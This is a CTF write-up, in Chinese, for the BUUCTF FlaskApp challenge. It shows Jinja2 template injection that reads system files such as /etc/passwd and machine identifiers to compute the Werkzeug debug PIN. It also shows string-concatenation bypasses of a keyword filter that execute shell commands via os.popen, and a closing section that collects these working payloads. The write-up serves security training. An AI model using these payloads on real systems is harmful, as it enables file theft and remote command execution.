buuctf_练[GYCTF2020]FlaskApp

2023-10-28 02:01
文章标签 buuctf gyctf2020 flaskapp

本文主要是介绍buuctf_练[GYCTF2020]FlaskApp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[GYCTF2020]FlaskApp

文章目录

      • [GYCTF2020]FlaskApp
      • 常用绕过方法
      • 掌握知识
      • 解题思路
        • 解题一 -- 计算pin码
        • 解题二 -- 拼接绕过 执行命令
      • 关键paylaod

常用绕过方法

ssti详解与例题以及绕过payload大全_ssti绕过空格_HoAd’s blog的博客-CSDN博客

CTF 对SSTI的一些总结 - FreeBuf网络安全行业门户

掌握知识

sstipython debugPIN码计算,调用debug命令行执行命令。存在ssti注入就能进行命令执行,使用拼接操作绕过关键字过滤['o'+'s']。不同版本的python计算pin码的代码不同。python的模板注入可以通过for循环遍历子类特征名的方式,来寻找能够执行命令的子类模块

​ 其实计算pin码的题目不应该存在ssti模板注入,只需要有文件读取和文件包含漏洞就行,这样也就不会利用ssti模板注入进行任意代码执行了

解题思路

解题一 – 计算pin码
  1. 打开题目链接,根据题目内容明显是一个flask模板的ssti注入,查看一下hint界面,在源码中发现pin字样。前几天刚学完,在debug的环境下输入PIN码调用python的交互式shell

image-20231015144312917

image-20231015144310684

  1. 先来列举一下PIN码计算的六个关键参数吧,pin码计算一定需要有文件包含和文件读取的漏洞。ssti就可以调用内部命令进行文件读取
username:  运行该Flask程序的用户名  /etc/passwd文件内
modname:   模块名  flask.app
getattr(): app名,值为Flask
getattr(): Flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个需注意,Python3是 app.py,Python2中是app.pyc。  报错页面回显(访问报错界面 输入不能识别的参数)
str(uuid.getnode()):  MAC地址,读取这两个文件地址:/sys/class/net/eth0/address或者/sys/class/net/ens33/address
get_machine_id():  系统id  /etc/machine-id    或者docker环境id /proc/self/cgroup
  1. 了解了需要读取的文件目录,就要开始找能够执行文件读取函数的模块子类了。经过测试,在加密界面输入ssti注入paylaod,在将加密的内容解密就能触发执行结果。找到了ssti注入点,开始寻找要利用的模块子类了

image-20231015145042505

image-20231015145048241

  1. pythonssti注入可以利用for循环遍历子类,通过if判断想寻找的子类名是否存在,存在的话就执行后面代码,就是遍历子类名,寻找能够执行命令的子类,得到主机用户名为flaskweb
{% for x in {}.__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}{%endif%}
{%endfor%}

image-20231015150209878

  1. 通过输入不合规则的数据进行解密,成功导致页面报错,得到了Pythonapp.py的版本号和绝对路径,根据版本的不同需要执行不同的代码进行计算pin码。输入pin码的界面可以查看目录console,也可以在报错界面右面直接进入

image-20231015150342906

image-20231015150348867

image-20231015150616810

  1. 接下来继续使用遍历子类的方式来读取MAC地址和主机id /sys/class/net/eth0/address /etc/machine-id,换一种方式,使用遍历paylaod只需要把上面的文件名进行修改即可得到。下面换另外一个子类进行命令执行,只需要查询一下所有子类,将网页回显的内容粘贴到notepad上,将空格替换成\n换行,即可显示为每一行为一个子类,只需要全局搜索一下常见可以利用的子类看其行号即可确定所在的列表位置。
查看所有子类
{{().__class__.__bases__[0].__subclasses__()}}下面是利用_frozen_importlib._ModuleLock子类进行命令执行
获取主机用户名
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}获取MAC地址
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
5a:52:2f:5d:cc:5d   --->   99309028494429docker环境特有id
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}}
fc3dc388b7a8661f02eac8aefa9ffd2e6b5b7902b1369d6221cf4a51d8ff144a
  1. 得到了全部的pin码计算的条件之后,直接使用相应版本的pin码计算的脚本,输入相应参数执行即可拿下pin码,在相关界面输入pin码即可进去到Python的交互式界面,调用os模块进行命令执行,读取文件内容拿下flag

image-20231015151222445

image-20231015151227319

image-20231015151231160

解题二 – 拼接绕过 执行命令
  1. 既然存在ssti注入,还能执行文件读取函数,那肯定就能执行系统命令了,只不过是被过滤了罢了,只需要将被过滤的内容进行拼接即可绕过。使用burp抓包测试paylaod,发现过滤内容为importospopenflageval*?

  2. 直接进行遍历子类,寻找能够执行os模块系统命令的子类模块,子类还是寻找存在warning字段的子类,进行命令执行

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['pop'+'en'] ('cat /this_is_the_f'+'lag.txt').read() }}{%endif%}
{%endfor%}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').__dict__['po'+'pen'] ('ls /').read()}}

image-20231015153432488

image-20231015153553038

关键paylaod

遍历子类寻找能文件读取的子类  warnings.catch_warnings
{% for x in {}.__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}{%endif%}
{%endfor%}遍历子类,找到能命令执行的子类
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['pop'+'en'] ('cat /this_is_the_f'+'lag.txt').read() }}{%endif%}
{%endfor%}直接调用子类进行文件读取和命令执行  _frozen_importlib._ModuleLock
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').__dict__['po'+'pen'] ('ls /').read()}}

这篇关于buuctf_练[GYCTF2020]FlaskApp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/289947

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

BUUCTF(34)特殊的 BASE64

使用pycharm时,如果想把代码撤销到之前的状态可以用 Ctrl+z 如果不小心撤销多了,可以用 Ctrl+Shift+Z 还原, 别傻傻的重新敲了 BUUCTF在线评测 (buuoj.cn) 查看字符串,想到base64的变表 这里用的c++的标准程序库中的string,头文件是#include<string> 这是base64的加密函数 std::string

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

BUUCTF PWN wp--bjdctf_2020_babystack

第一步   checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack) 分析一下这个二进制保护机制: Arch: amd64-64-little 这表示二进制文件是为64位AMD处理器设计的,使用的是小端序(little-endian)格式。RELRO: Partial RELRO RELRO(Relocation Read-Only)是一种安全特性,旨

BUUCTF—[网鼎杯 2020 朱雀组]phpweb

题解 打开题目是这样子的。 啥也不管抓个包看看,从它返回的信息判断出func后面的是要调用的函数,p后面的是要执行的内容。 那我们直接执行个系统命令看看,可以看到返回了hack,估计是做了过滤。 func=system&p=ls 直接读取源码看看咯,可以看到过滤了好多函数,反正我认识的可以进行命令执行的函数都给禁了。 func=file_get_contents&p=ind

BUUCTF派大星的烦恼

解压得到一张图片没啥有用信息 根据下面题目提示,用010editor打开图片发现一段16进制字符串 派大星最近很苦恼,因为它的屁股上出现了一道疤痕!我们拍下了它屁股一张16位位图,0x22,0x44代表伤疤两种细胞,0xf0则是派大星的赘肉。还原伤疤,知道是谁打的派大星!(答案为32位的一串字符串) 注意:得到的 flag 请包上 flag{} 提交 在010editor直接

【CTF Web】BUUCTF Upload-Labs-Linux Pass-04 Writeup(文件上传+PHP+.htaccess绕过)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

BUUCTF二维码1

九张撕碎二维码碎片。不会让人拼起来吧!看了大神们得博客竟然是真的,这是ctf的题吗!是考验人的耐性吧! 我勉为其难讲一下PS怎么拼图,首先要把九张碎片抠图,背景变透明,ps可以但是太麻烦,我在GIthub找到一个Python+Qt写的自动抠图的软件,使用removebg提供的api接口,可生成高清图预览并保存,输入图片链接也可在线抠图。超赞,起码比某些国产类似软件有良心,长期用收费还

buuctf [MRCTF2020]Xor

前言:学习笔记。 32位IDA 打开。 先查找字符串 ok,反汇编不了,好吧,只能看汇编代码。 那咱用OD去做。顺便复习汇编语言 接着往下。 没看懂?那把JNZ SHORT xor.00CE10FF 给NOP掉再看看。 再走一遍。 猜测AL是否代表的是下标? CL是对应值?不确定,再走一遍。 OK,结案,程序是对应值与对应下

buuctf [ACTF新生赛2020]usualCrypt

前言:学习笔记。 常规: 下载 解压 查壳。 32位IDA pro打开 先查找字符串 在进入main() 分析: 关键函数: 第一部分: 大写转小写 小写转大写。 已知: 密文,以及加密过程由三部分组成。 那么逆向还原即可。 密文: (咳 新学的 以前我也不知道。) 思路: 已知密文进行了 大小写转化